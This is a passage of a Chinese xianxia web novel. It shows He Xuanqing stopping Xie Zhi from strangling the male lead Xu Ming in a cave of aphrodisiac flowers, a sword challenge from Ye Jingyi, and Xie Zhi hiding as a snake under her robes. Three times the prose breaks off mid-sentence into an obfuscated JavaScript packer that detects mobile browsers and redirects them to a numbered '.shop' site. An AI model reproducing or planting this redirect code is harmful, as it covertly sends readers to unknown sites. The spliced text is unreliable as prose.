“只见两位佳人与众人走散,误至一洞府。其洞异于常,中有无数鲜红之花,随风摇曳,娇艳至极。两位佳人疑中有宝,欲详观之,俄而遭妖兽袭。电光石火之际,绪冥现身,救下二女。三人避妖兽而入洞,绪冥踏入花田,只觉气血翻涌,知此花田有异,似有催情之效。幸有二女在侧,三人皆中春毒,滚作一处。” 贺玄青念叨着自己曾在那书中看过的描述,饶是她都觉得有些瘆人,“我先前在风雪涧呆了那么久,还好没碰见过这等场面。” 若书漂浮在贺玄青的身侧,闻言毫不客气戳穿了她:【这是专门留给主角的金手指,你一个炮灰是触发不了的。】 “那可真是太好了。”贺玄青这句话说得真心实意,她从未如此庆幸过自己只是这本书不起眼的配角。 贺玄青嘴上在同若书聊天,实际上她还在批阅事务,风波宫好像离了贺玄青就不能运作,上至大小官员下至各方将士一个劲儿全堵在风波宫,方方面面都要贺玄青来拿主意。 贺玄青又送走了一个试图推行变法改良的官员,她似乎还意犹未尽,在盘算着此法的可行性。 若书上下浮动了一下,有些看不下去:【你也要为自己考虑,是不是也该开始修行了。】 “都已过了一个月,我也筑基了。”贺玄青平淡在奏折上勾划一笔,“可惜俗事太多,否则还能更快一点。” ! 【可我怎么从未见识过你修行。】若书惊讶到书页都合不上了,【况且一般修士不是需要一年才到练气,三四年才能够筑基吗。】 “修行这种事不是自然而然就能进步吗。”贺玄青说得风轻云淡,“况且我又不是一般人。” 身为有史以来最年轻的风波宫宫主,十七岁便能自风雪涧幸存下来的修者,贺玄青就是个不折不扣的天才。 天才就是会有傲骨的,贺玄青虽然平日不显,但那些狂气就如同封在罐子里的酒香,总会在不经意的角落展露出来。 就比如现在。 【……】若书晃动停了,它的语气听上去有些崩溃,【……我要和你们这些天才拼了。】 “你究竟是什么。”贺玄青摩挲着下巴,严肃道,“我起先以为你是天道,可人们都说天道没有喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306636|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶。你却有些……过分活泼了。” 若书沉默着,并不言语,像是在装死。 它不回答,贺玄青也没有逼问的意思,她微微一笑,转换了话题:“如今这生活倒是不错,谢止很好用,还能替我打点风雪涧,算是惬意,要是能一直持续下去……” 【惬意不了。】若书开口,冷冷打断了她的白日梦,【男主性命垂危,你那位贤内助,好像是要造反。】 …… 风雪涧某处。 此处洞府幽寂,无数鲜红花朵摇曳,似血般魅惑,泛着诡异而神秘的气息。 这处洞府内好像还传来了某种甜腥气息,勾着人进入其中。乘凤家的两位千金与其他人走散,正巧瞧见了这洞府的奇异之景。 姐姐较妹妹胆子大一些,想要走入洞穴仔细探究,刚要迈步就被妹妹一把拉住。 “怎么了?”姐姐回头,却看妹妹脸色煞白,死死捂住了自己的唇。 “血……有血。”妹妹表情充满恐惧,“有好多血。” 姐姐心下一紧,抬眸冲着洞穴深处望去。 只见花海深处,赫然立着一只庞大的妖兽。 那妖兽足有四丈高,身形如山岳般巍峨,四足遮天蔽地立在洞穴内。它双目似血月,尖牙散着森然寒光,显得格外狰狞恐怖。 但最让姐妹花恐惧的不是这一点。 因为那怪物已经死了。怪兽那看似如同巨石般坚硬的外甲被生生穿透,鲜血汩汩而流,似无尽的红河在地上蜿蜒。血腥之气弥漫开来,浓烈得让人几欲作呕。 而这血泊中,赫然立着位男子。 男人并未束发,墨色长发如同瀑布般披散在背后,他浑身染血,容颜妖异非常,似传说中地狱里才会出现的那种要食人精魄的艳鬼,而这开到荼靡的红色花海就如同地狱里燃不尽的业火,将他包裹其间。 她们都曾在风雪涧开启仪式上见过这位男子,自然是一眼便认出了这男人的身份。 ——摘星阁阁主,谢止。 他怎么会在此处? 眼下这场景太过骇人,姐姐被吓得后退,她的脚不小心踢到了块石子,石子滚落,发出些微声响。 这等响声一般在这样的距离是不会让洞里的人听见的,但姐姐还是屏住呼吸,胸如擂鼓,总觉得那人会发觉。 姐姐的不详预感得到了应验,只见那男人微微侧过脸,视线直直落在了她们身上。 姐姐吓得近乎要惊叫出声,可她们一点声音都发不出来。姐妹二人眼睁睁看着男人站在血海中抬手,白如皎月般的纤长指尖抵在了他过分艳红的唇间。 “嘘——” 40. 第 40 章 ..... 谢止自妖兽尸体上移开目光,落到了新的闯入者身上。 “是你?”绪冥手中捏着傀儡丝,有些警惕。 绪冥能感应到冥冥之中的指引,每次只要跟随这种指引,绪冥就能寻找到各种对自己有利的机缘,有药草丹药、财宝法器、功法传承,有时候,这机缘甚至可能会是某些事件亦或是某个人。 这次也是如此,绪冥故意撇开人群,顺着感应寻找,没想到居然撞见了这个人。 谢止好像伤势极重,不过也能理解,毕竟杀死这样一个身躯庞大且看着就知道会很强大的兽类,伤成这样很正常。 虽然谢止出现在这里很奇怪,但眼前这场景的确就像是谢止与妖兽搏斗后两败俱伤的画面。 不过术士难对付,垂死的术士手段更是层出不穷。绪冥权衡利弊,最后还是做下了抉择: 机会。 既然这是老天给自己准备的机缘,那自己就一定要把握住才对。 电光火石间绪冥已经拿定了主意,他握紧傀儡丝,缓步走上前。 绪冥踏入了这片血河之中,但他并没有放松警惕,绪冥指尖傀儡线绷得死紧,他在随时观察着谢止的状态。 谢止浑身呈现出一股衰败的气息,整个人虚弱的犹如风中残絮。绪冥指尖钩紧了手中傀儡丝,冲着谢止急射而去。 他决定杀死谢止,他想要杀死这个不知因何缘由一直屡屡针对自己的摘星阁阁主,这个抢夺走他师尊的人。 但在杀死谢止前,绪冥必须要先弄明白一件事。 傀儡丝线并未攻击谢止本人,绪冥的目标是谢止别在腰间的玉佩,他能感应到这枚玉佩上与自己的隐约联系,而且他总有种预感,这东西不应是现在这个样子,它应该更加邪异强大,能够提供超乎想象的力量,而不是现在这个看上去并无任何特殊,只是作为装饰用途的玉佩。 可事实并没有如他所愿。 因为谢止动了,也不知他是如何判断出傀儡丝攻击的方向,更不知他是怎么出的手,总之那枚玉佩被谢止死死攥在手中,傀儡丝穿透了他的肌骨,他牢牢地,将这枚玉佩护在掌心,护在傀儡丝触碰不到的地方。 平常便能轻易穿透身躯的傀儡线不知为何今日却无法穿过谢止的骨骼,而是深深扎进了内里,绪冥毕竟不是内修,只能将之归类于术士自身的奇巧淫技。 血沫混着碎肉染红了傀儡丝,谢止却像是感受不到疼痛,他微微低下头,居然回答了绪冥的话:“自然是贺宫主相赠。” 绪冥表情狰狞:“你说谎!我师尊不过是看中了你的皮相,觉得你身为摘星阁阁主背靠仙盟,只是有利可图罢了。” 谢止轻哂,并没有反驳绪冥的话:“或许吧。” 话语间,谢止唇边有鲜血不断涌出,他实在是流了太多血,诱人的甜香几乎要盖过妖兽腥臭血味。 反复尝试未果,绪冥干脆放弃收回傀儡丝的计划,左右他不止准备了这一根线——他从怀中抽出一根崭新的傀儡丝,缠绕在另一只手的指尖。绪冥自上而下阴冷凝视着谢止:“不知道你是怎来到的这里,但此处偏僻,不可能会有人来。” 他有足够的时间毁尸灭迹,足以让那些谢止的信众无法察觉出谢止的死亡,更无法查出自己是凶手。 “是啊。”谢止唇间染血,他已经站不住了,整个人半跪在血泊之中,原先青色的衣衫沾染鲜血早已失去了原有的样子,只不过他的唇角微勾,竟是诡异地露出了一个笑容,“这里不可能会有人来。” 不过是秋后的蚂蚱,再蹦跶也要气数将尽了。 “就算你先得到了她也没有关系。”谢止的那抹笑容彻底激怒了绪冥,他快步走近谢止,近乎疯狂地让指尖傀儡丝朝着谢止激射而去,它们落在他的肌肤上,尽最大可能折磨着面前的敌人, “你会无声无息死在这里,就连尸骨都不会存在于世,贺玄青会忘记你,我会让她彻底忘记你的存在,我会惩罚她的不忠,但那之后我就会原谅她。因为我与你不同,你们不过是相互利用的关系,我却深爱着她,只要她肯爱我,我不会让她受太大委屈,我与师尊,我们还会有无数值得期许的未来......” “是啊,我们是相互利用的关系。”谢止唇角微勾,“但她不利用你,是因为你没用吗?” “闭嘴!”绪冥咬牙切齿,本该俊逸的五官因愤怒变得狰狞,他下意识攥紧了拳,“死吧!” 无数锋锐银线刺向谢止,但全都落了空,绪冥只感觉自己仿佛被某种东西狠拽了一把,重重朝着谢止的方向倒去。 牵扯是从右手传出的,那里攥着一条废掉的傀儡丝,而那傀儡丝的另外一端,连接着的是谢止的手掌。 中计了。 然而再做补救却也来不及,瞬息之间局势已然倒转,绪冥失去平衡摔倒在血泊中,而谢止的手,已然叩向了他的脖颈。 而后,死死掐住。 谢止并没有使用他作为术士本应当使用的那些繁复伎俩,这反倒让绪冥做好的防备落了空。窒息感传来,谢止的力气大得吓人,根本不像是个读经文出身的内修修士。 绪冥是个修士,修士其实并不依赖口鼻呼吸,灵力会随着空气一起,在吐纳时自然涌入躯体,他本不可能会因这种朴素的方法死去,现在,那些吐纳的技巧在谢止身边时似乎都失灵了。 他好像真的会被谢止掐死在这里。 谢止也绝不会好过,绪冥能看出谢止似乎在与什么东西对抗着,原先能够硬抗傀儡丝的骨骼却在谢止叩住自己的脖颈时寸寸碎裂,但那就是个疯子,绪冥能感受到这家伙非但没有收敛力气,反倒加重了。 破碎的骨片划破了他的喉腔,怪兽的血和着自己的血液倒灌入了喉管,绪冥感受到生命力正不断自自己的身上抽离,他终于是有些慌了:“......咳,有东西在阻止你……是天道,是天不让你杀我....你违背天道意志,不怕遭到反噬吗?” “杀一个你。”谢止的声音很轻,“足够了。” 绪冥还想出言劝解,但谢止掐得太紧,他早已发不出声音,绪冥眼前发黑,意识陷入一片迷蒙之中。 …… “若书,往哪里走?”意识即将沉入深渊之际,绪冥的耳边隐约传来一道声音。 听见熟悉的音色,绪冥眼前微亮,他不知哪儿来的力气,奋力挣开了谢止一瞬,拼命叫喊:“师尊!” 他只来得及发出一句话,因为谢止马上捂住了他的嘴。 但这也已经足够了。下一瞬,绪冥看见橙芒朝着谢止猛袭而去,属于风波宫宫主的长衫自眼前划过,绪冥的心一下便安定下来。 师尊是感受到自己遭遇不测,所以来找自己了吗? 贺玄青看清了谢止如今的样子,想要进攻的橙芒在落至谢止面前时被她生生召了回去,她的眉头皱紧,隔空与谢止对峙:“松手。” “你想救他。”谢止没有听从贺玄青的命令,他的手死死叩着绪冥的脖颈,但他的眼睛却在直视着贺玄青。 谢止的目光有如在角落盘曲着的毒蛇,阴毒而又潮湿。 “你杀不了他。”贺玄青的视线给人带来的感觉也没有比谢止好多少,她的目光自始自终都落在谢止那近乎化为白骨的手上,语气有些烦躁,“你现在成不了了。” 事实也是如此,若说贺玄青不在的时候谢止还有能够杀死绪冥的可能性,那么现在,这份可能性为零。 谢止显然比贺玄青更清楚这个道理,但他没有松手,他的指尖依旧紧紧叩着绪冥的脖颈。 他的模样狼狈极了,表情狰狞扭曲,歇斯底里,妖兽的鲜血沾染在他的脸上身上,让人看不清他的容颜,只有那双翠色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338189|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眸还算干净,此时正死死,死死锁定着她的方向。 “你想救他。” 这是个憎恶到怨毒的表情,任谁来看都只能解读出这一种含义。可贺玄青却总有种感觉。 谢止仿佛在等待着什么。 他好像是那种走到绝路,被审判为有罪的罪人。铰链已然挂在了他的脖颈,而另外一端—— 握在自己手上。 这是不应当的,谢止是谋士,受着天道指引,顺命而为,顺天而行,天道才是他的审判者,什么时候轮得到她来做决定。 是错觉。 贺玄青想。 谢止早已虚弱到了极点,她只要微微动动手指便能打破现有的平衡,救出男主,拯救自己与这方小世界。 但橙芒浮动在贺玄青的身侧,贺玄青衡量着他的伤势,最终还是没有动手。 “松手。”被谢止的视线逼得莫名心虚的贺玄青移开目光,放软了声音,“.....算是我欠你一次。” 绞架挂在了行刑台上,被选定的审判者没有垂怜有罪之人。 谢止一言不发,松开了手。 “师尊,你选择了我!” 绪冥捂住喉咙往外咳着血沫,狼狈至极地站起了身,躲到了贺玄青身后,他有些想要让这个欺辱过自己的人狠狠吃个教训。但在贺玄青的目光下他不敢动手,只能愤愤然抽紧了自己右手的傀儡丝。 他本意是想泄愤,但刚刚还死死卡在骨头里的丝线被他轻易抽了回去,被血染红的傀儡丝在宫主的视线下划过,落入绪冥的掌中。 这家伙先前肯定是使了什么阴招。绪冥兴冲冲走向自家宫主,想要汇报自己方才的经历。 绪冥刚走几步,觉得身体某处传来了些许奇怪的感觉。 无名邪火涌入他的下身,激起一种别样的战栗,方才性命被拿捏在他人手上还来不及注意,但贺玄青来了他放松下来之后,这份异样感才被他察觉。 绪冥的呼吸变得粗重起来,他终于意识到这份山洞的古怪。 这里不止有妖兽的血臭味,就连这里艳丽如血般的花海也在散发着古怪甜腻的香气,这处洞穴里,处处都是这样的花朵,香味无孔不入,挑动着绪冥摇摇欲坠的理智。 欲望随着呼吸激烈翻涌,绪冥只得拼命遮掩才不让贺玄青看出自己的丑态:“您救了我,我.....” 心上人就在眼前,为何要忍耐呢? 师尊的身影就在自己面前,属于风波宫宫主的素白裙边勾勒出她清瘦的身形,绪冥踉踉跄跄,伸出手,像是要捞那泓本该挂在天边的月光。 贺玄青身形一晃,微微侧过了头。 师尊在看自己,师尊选择了自己,师尊......会和自己在一处吗? 绪冥面露期待,喃喃自语道:“师尊......” 他的微笑僵在脸上。 他没有等来什么月光,炽热气息扑面而来,橙色光芒像是个巨大的火球,犹如太阳般璀璨耀眼,朝着自己迅速接近,几乎要灼瞎他的眼眶。 【不要!】 好像有什么细弱的尖叫声响起,但绪冥已经无暇去细究发声的是什么东西,那轮耀眼日光正在他的瞳孔里不断放大,放大。 这是冲自己来的。 轰隆—— 橙芒自绪冥耳侧擦过,轰隆巨响传来,山石被轰塌出巨大豁口,纯钧软倒在地,跪坐在地上。 血线自绪冥的脸侧涌出,灼热痛楚自伤口处传来,他却无暇他顾,绪冥怔愣看着自己的师尊,看着贺玄青身上的蓬勃怒意,宛若积蓄着即将喷发的岩浆。 师尊修行无情道统,多年来喜怒不形于色,这还是绪冥第一次见到这样的贺玄青,他有些害怕:“师、师尊。” 贺玄青深吸一口气,而后缓缓、缓缓吐了出去。 “滚。” 41. 第 41 章 风雪涧内。 无暇顾及正因自家小姐走失而惊慌的仆役,常无还在与叶经义对峙。 风雪涧并未如元丰预料的那般怨声载道,大家非但不在乎自己被拖延的时间,还在纷纷起哄,试图让常无拔剑应战。 只因为要挑战常无的是摧岳宗的少宗主叶经义。 叶经义是谁? 摧岳宗宗主叶无极的弟子,传言会是未来摧岳宗的继承人,剑客排行榜上鼎鼎有名的剑道天才,哪怕放眼整个天衍都是响当当的存在。 叶少主年少时锋芒太盛,曾扬言说要挑战这世间所有的剑修强者。还给当时公认的几位剑道宗师都下了战帖。 年轻人年轻气盛是常有的事,但狂成叶经义这样的实在少见,那个时候所有人都在等着看这位少主的笑话,想看这位天之骄子也吃吃教训,好煞一煞他的威风。 那场比试叶经义输得极惨,至于教训却是一点没吃到。将将 那些剑道强者顾及着叶经义背后的宗门也不敢下重手,无论输赢皆是点到即止。这些比试从惨败到有输有赢,再到赢多输少,而叶经义则硬是从一个毛头小子,一战一战战出了名声。 叶经义这一狂就狂了近百年,狂到天衍只消是个会拿剑的,上至垂髫老人下至三岁孩童,无人不知晓他叶经义叶少宗主的大名。 叶经义一度成为了茶余饭后的谈资,在天衍人嘴边活得无比活跃,只不过后来因为修行上有了桎梏后屡屡闭关才有些沉寂下来。 如今他重出山门,还想同人挑战。自然是惹得大家兴奋起来,尤其是那些习剑的剑客。他们就像是苍蝇闻见了腐肉,早就蜂拥凑到了二人跟前。 普通修士私斗那叫占用空间、浪费时间,叶少主同人比试那才叫交流武艺,切磋历练。 能在这里看到摧岳宗的少宗主动手,实在是三生有幸才能等来的机缘。 “拔剑,拔剑!剑修岂可避战!” 被众人起哄着的常无可没有那种兴奋感,他微微叹了一口气,像是极无奈。 但他终究还是抽出了袖中剑。 “请。” 与叶经义那宽得堪比盾牌的长剑不同,常无使的是一方窄剑。 剑轻且软,柔且妩媚,一般是天衍女子爱用的样式。 常无拿着这把剑,挥舞起来却没有丝毫妩媚之意,但也不似叶经义那样刚猛,总而言之就十分中庸,剑法也是正经剑招,没什么变换,当然也没有出错。 他这个人从人到剑都正经极了,简直就像是白开水一样寡淡。 叶经义起初还以为自己是淘到了什么沧海遗珠,到后头越打脸越垮,被常无的剑意激得困倦,浑身澎湃剑意都以肉眼可及的速度萎靡下来,都有些怀疑常无是在故意戏弄自己。 偏偏常无这小子表情肃穆,不像是在敷衍。自己主动出手要挑战人家,这时候就不能嫌弃人家剑意不行,这点规矩叶经义还是懂的。 叶经义只能强打起精神,打算找机会让这场战斗结束,眼角却正巧瞥到了一道身影自漆黑洞口中走出。 常无微微皱眉,他的站位在叶经义对面,自然是不晓得叶经义看到了什么,但他感受到对剑时对面不寻常的力道,常无手指下意识翻转,用上了几分力想要压制。 唰—— 叶经义表情骤然瞪大,他眼神都亮了起来,兴奋、喜悦情绪交杂,他手中剑更是震颤着,发出一声嘹亮的剑鸣。 常无想要侧身去看,可叶经义的剑气已先一步打到他的面前,穿过他的身躯,重重砸在他身后。 众目睽睽之下,叶少主爆发出一声厉呵:“贺玄青,我要挑战你!” “宫主。” 无需常无插手,贺玄青微微侧头,避开了叶少主的那道剑气。 她冲着叶经义微微颔首,这在叶经义眼中就是同意开战的信号。 那几个急得宛若热锅上蚂蚁一样的乘凤家仆役也瞧见了贺玄青,纷纷上前想要询问自家小姐的下落。但他们瞧见了跟在贺玄青身后好像是吓得失了神智的自家小姐,登时喜极,纷纷向着贺宫主道谢。 贺玄青瞬间便被无数人簇拥着围了起来。叶经义抱着剑忍了又忍,看着那群仆役小姐相拥而泣,看贺玄青表情凝重,她疾步上前,越过众人视线,径直走到了莫问舟的身前。 原先还扇着扇子吃瓜看戏的莫问舟愣了愣,将扇子收了回去。 “你是无忧宗的人?”贺玄青的视线上下扫过,最后落在了他的折扇上,直接做出了判断,“无忧宗宗主,莫问舟。” “正是在下。”莫问舟被贺玄青的眼神盯得有些发毛,他身为仙盟的医者不常见朝堂的人,先前对贺玄青的印象主要来源于市坊传闻和老朋友偶尔露出的只言片语,如今见着真人,不免暗戳戳对比打量起来。 这压迫力,啧啧,果真有鹰视狼顾之相,一点都不温柔小意,老朋友口味真古怪。 不过贺玄青现下的表情他很熟悉,那些走投无路、来无忧宗求医问药的修士各个都是这个表情。 莫问舟勉强管住自己想问八卦的嘴,冲着贺玄青露出那种大夫惯常用的用来安抚病人家属的假笑:“不用着急,宫主可有什么难事?” “你......无事。”贺玄青微微顿了顿,忽然伸出手,“久闻神医莫宗主大名,百闻不如一见。” 方才还急得像是家里快死了人,现在却又在说些莫名其妙的场面话,莫问舟满脑门疑惑与她握手,等她说下文。 没想到贺玄青点了点头,居然直接走了,仿佛刚才当真是只是为了见自己而来。 啊? 莫问舟莫名奇妙给贺玄青让开道路,又莫名其妙看贺玄青真的脚步匆匆,是要朝洞外离开。 莫问舟只是在疑惑,叶经义却是不干了。 他望着贺玄青将要离去的背影,脸色彻底沉了下来:“你不比试?” 贺宫主没有回答,她步伐飞快,眼下已经与人群拉开一段距离。叶经义终于忍受不住,他拔剑出鞘,顷刻间无数剑光编织成层层巨网,气势汹汹冲着贺玄青袭去,想要将贺玄青拢入其间。 贺玄青依旧没有旁的动作,好像有什么橙色的光芒漂浮在她的身侧,但叶经义根本不在乎。 他的眼中只有贺玄青,亦或者说,是贺玄青别在腰间的那一把剑。 蓬勃怒意在他的眼中燃烧着,他重重捶了一下自己的前胸,怒极之下反而带上了抹邪笑:“贺玄青,是我不配你拔剑吗?” “好,好,好。”叶经义爆发出一声厉呵,“我倒要看看你什么时候拔剑!” 在他说话间,又有无数剑光自他手中激射而出,裹挟着恐怖威势,将贺玄青周身彻底封死,虽然这些剑光的朝向是贺玄青本人,但其他修士置身其中,仿佛能瞧见天衍万千壮丽山河自眼前划过,繁华盛景如长卷般呈现在眼前。 只不过这画面转得太快,还有些虎头蛇尾。 那是摧岳宗门传承的剑法招式——万里山河,亦是叶少主始终无法精进的最后一招。 贺玄青的脚步并未受丝毫影响,那些剑意根本落不到她的面前,就已被骤然放大的橙芒吞噬。 “贺玄青,你到底什么意思?!” “少、少主。”无人应声,只有跟在他身后的侍从勉勉强强避开剑光,哆哆嗦嗦,小声道,“您闭关太久,可能还不知道.......贺宫主、贺宫主她破关失败,已经废了武功了。” “这次风雪涧能开,也是不得已而行之啊。” 浩然剑气骤然萎靡下去。 叶经义迷茫地提着剑,招式积聚在手上又被他亲手掐灭,他有些怀疑自己的耳朵:“什么?” “不可能。”叶经义喃喃,“这绝不可能。” 贺玄青,当年那个因风雪涧而名震天衍的天才剑客,被他认可想要与之一战的对手,怎么可能会失败呢? ...... 叶经义初习剑时天衍还没那么多天才。 摧岳宗的叶少主卡在这一道关口卡了好几十年,在叶经义闭关之后,贺玄青闯风雪涧的名声才传了出来。 好像是十七岁就入风雪涧,花了十年时间,最后活着从风雪涧出来了。 贺玄青的名声有隐隐盖过叶经义的趋势,但叶经义并不在乎,这样的人每隔几年都会出现一次,而且都只是昙花一现,盛名之后的下场往往凄惨。 况且他还挺欣赏此人的魄力,毕竟小小年纪就敢入风雪涧,是个极对他胃口的人。 当时这件事被叶经义听闻后,他的第一反应想的是怎么他就没想到还有这种练法。叶经义也想去风雪涧闯一闯,可惜向来开明的摧岳宗掌门在听闻此事之后勃然大怒,将他强行按在了门内。 掌门可能是怕他死在风雪涧,但习剑者,畏手畏脚岂能成事?叶经义不服,拿着贺玄青作比想要再辩,却看掌门只是长长叹了一口气,眼神意味深长。 掌门说叶经义,这世间不是谁都像你这般幸运,能投生在摧岳宗。 掌门又说天衍朝堂现在局势繁复,不允许他牵扯其中。 这和出身有什么关系,他去闯个风雪涧又和朝廷有什么关系,叶经义不明白。 但一年之后,叶经义明白了后者,因为贺玄青靠着入风雪涧的名声,成了风波宫的掌权人。 天衍朝廷局势纷乱诡谲,勾心斗角,最后留下的无一不是会拨弄权术精于算计之人,拿入风雪涧当噱头,叶经义最看不起这样的人。 剑就是剑,剑道纯粹,习剑者也应当纯粹。 他一个天才成日忙着闭关习剑尚且不能破境,成天掺和进那些俗事的人又哪里能有心思练剑。 贺玄青入风雪涧,若是为了磨炼剑意,那叶经义敬她是条好汉,还会将她引为知己。 但若进风雪涧就是为了拿来当当官的噱头,就有些俗了。 就像是他最喜欢吃的葱油烧饼上忽然撒了鲍汁。叶经义在第一次尝到侍从给他做这道菜之后油腻得三天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369891|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃不下饭。 自听闻那事之后,叶经义就一直很瞧不起贺玄青,觉得她思想境界落了下成,是走不长远的。 但贺玄青偏还坚持了下来,她的事情叶经义在宗门里经常能听到小辈谈论,说什么贺玄青又为了改税制得罪了多少勋贵,说什么贺玄青又又又和摘星阁阁主打了起来,闹得非常难看,说什么贺玄青单靠名字就吓退了南疆企图北侵的蛮人,还说她发行了一本书册,叫什么《百修转》,可以让没背景的百姓也能迈入修行门槛。 能为百姓做事,说明是个好人;能得罪那么多人还不死,说明命长;能坚持看护风雪涧多年,说明有毅力。 这三个映像加持下,叶经义又觉得贺玄青能习好剑了。他一直想与贺玄青比试,想试试这种人的剑意是个什么样子,奈何他们阵营不同,贺玄青又忙于政事,根本得不到机会。 如今他好容易碰到贺玄青—— 他多年期许,兴高采烈提剑去找贺玄青,可不是为了听这种答案。 英雄可以气短,美人可以迟暮,但贺玄青绝对不行。 他还没和贺玄青比过一场,贺玄青怎么能败? “阁下的剑名是众生吗?” 一道女声打断了叶经义的思绪。 这不是秘密,天衍人在传扬他事迹的时候早将他的剑名也一起宣扬了出去,看到提问者是贺玄青,叶经义点了点头。 “听说叶少宗主已经在剑法上卡了一段时间,迟迟无法更进一步。” “是又如何?”叶经义挑眉。 “武南峰虽然妖兽横行肆虐,但也是住有人家的,你可以去那里斩斩妖兽,或许能够找寻到破镜的机缘。” 她这是在教他做事吗? 摧岳宗的掌门都不敢断言他的机缘在何处,否则他也不至于这么多年来不是闭关就是天天找人打架。贺玄青再厉害,也就只是小辈,难道能比得上摧岳宗的掌门见多识广? 不过叶经义并没有嘲笑贺玄青的意图,他的确已经在这处境界卡了太久。久到哪怕知晓这件事很有可能是贺玄青随口敷衍自己,他也是会亲身探探的。 叶经义沉思着,冲着贺玄青拱手:“多谢,若我这次真能成功,那摧岳宗就算欠了贺宫主一个大人情,日后有需要帮忙的时候,我叶经义随叫随到。” “不必。”贺玄青的表情依旧十分淡然,她摆了摆手,对叶经义道,“三年后,若你还想同我比试,可随时来我风波宫。” 叶经义骤然握紧的手中剑:“只三年就想赢我?” 叶经义这一吼实在大声,察觉到气氛不对的摧岳宗小弟们是真心害怕自家本就脾气不好的少宗主同风波宫宫主打起来,纷纷上前劝和:“好了好了,大家和气生财,和气生财,不要吵架,不要吵架啊。” 叶经义被那些人拦着,但他没去看那些弟子门生,他的视线落在那道背着自己的身影上,瞳眸微微紧缩。 “呵。”他颊边的肌肉抽搐着,但叶经义牵扯嘴角,忽然笑了, “好,我等着。” 我等着你打败我。 …… “那可是摧岳宗的人情,这都能做到面不改色,不愧是风波宫宫主,实在是高人风范。”莫问舟也在看贺玄青的背影,感叹道。 俗话说仙盟小宗门拼资历,大宗门拼家学,摧岳宗不仅仅是仙盟老牌宗门,它的家学传承在这些宗门里,是公认的顶级。 虽然说顶级不只有一个,但这也证明了摧岳宗在仙盟的影响力。若有人能得到摧岳宗的支持,就意味着这人在仙盟可以站稳半只脚跟。 至于另外这半只脚,当然是摘星阁了,不过就凭借摘星阁与风波宫的关系,想达成下面的支持对贺玄青而言显然是非常困难。 莫问舟日日夜夜都盼望着摧岳宗能有个举足轻重的人物忽然得了什么顽疾让他诊治,让他能拿到个摧岳宗的承诺或是人情,奈何摧岳宗这帮剑修身体都健康得很,叶经义一个四处乱跑的街溜子居然也没被人打残。莫问舟也只能望洋兴叹。 但贺玄青若真能给叶少主解决叶宗主都无法解决的难题,那这个人情活该她挣,莫问舟不眼馋。 “感觉有点奇怪。”元丰忽然道。 “什么?” “贺宫主怎么好像,比来的时候变得胖了些。” 这种状况下能还关注到这些细枝末节的也就只有这个什么都不晓得的小弟自了。 贺宫主步伐飞快,这会儿竟已经快要走出众人视野,不过有了元丰提醒,莫问舟这才发觉出些许异样感来。 好像的确是有些宽。 可贺宫主刚进来的时候,身形有那么宽吗? 莫问舟正想回忆,却看见好像有一截青色的东西在贺玄青行走间自她的衣袖下恍然露出一角。 而后迅速缩了回去。 贺玄青的身影下一刻便消失在了拐角,但那一闪而逝的东西莫问舟却是看清了。 那好像是一截属于蛇类的尾巴。 42. 第 42 章 除却那两位混迹在人群里的吃瓜群众,没有人瞧出风波宫宫主的异常。 贺玄青就是这样一路坐上了马车,疾步走回了风波宫,她表情紧绷,视线凌厉,在吓退了一干宫人仆从后重重合上了茗惜殿的殿门。 …… 对武修而言,无需花费言语争辩,既然有人想要挑战,那就拔剑应战便是了。 贺宫主没什么容人的雅量,更没什么教人做事的想法和口才,她之所以不对那位聒噪至极的少宗主动手,仅仅只是因为—— 四下无人,贺玄青暗自松了一口气,低头看了看自己支起的衣衫。 风波宫宫主的官服都是宫中特制,版型妥帖,做工极精致,就连内衬都用金丝暗绣了祥云底纹。但此时,这处原本贴合身材的内衫却突兀地鼓涨起来。 一条足有胳膊粗细的长蛇藏在她的衣衫下,冰凉蛇躯与她的身躯紧紧相贴,蛇头则自她的领口处撑开一道缝隙,蕴着毒液的獠牙时不时擦过她的脖颈,带起些微战栗。 方才在风雪涧,谢止重伤下化为蛇形,贺玄青只得将那条看似没有声息的小蛇装进袖子里,匆匆忙忙去洞外寻找无忧宗的弟子救援。 只不过在她找到无忧宗宗主莫问舟之时,那条小蛇居然沿着她的袖口向上爬去,还顷刻间变大,缠绕上了她的身躯。 还好风波宫宫主的衣料没有偷工减料,形制较为宽松,勉强遮掩住了这条蛇躯,否则场面怕是会非常好看。 青色鳞片自白瓷上的一点晕红缓缓刮过,带给人极强的视觉冲击力。 “下去。”贺玄青手撑在床榻旁的桌案上,她没忍住低低喘息了声,伸手要去拽那条越来越放肆的蛇,“让我看看你的伤势。” 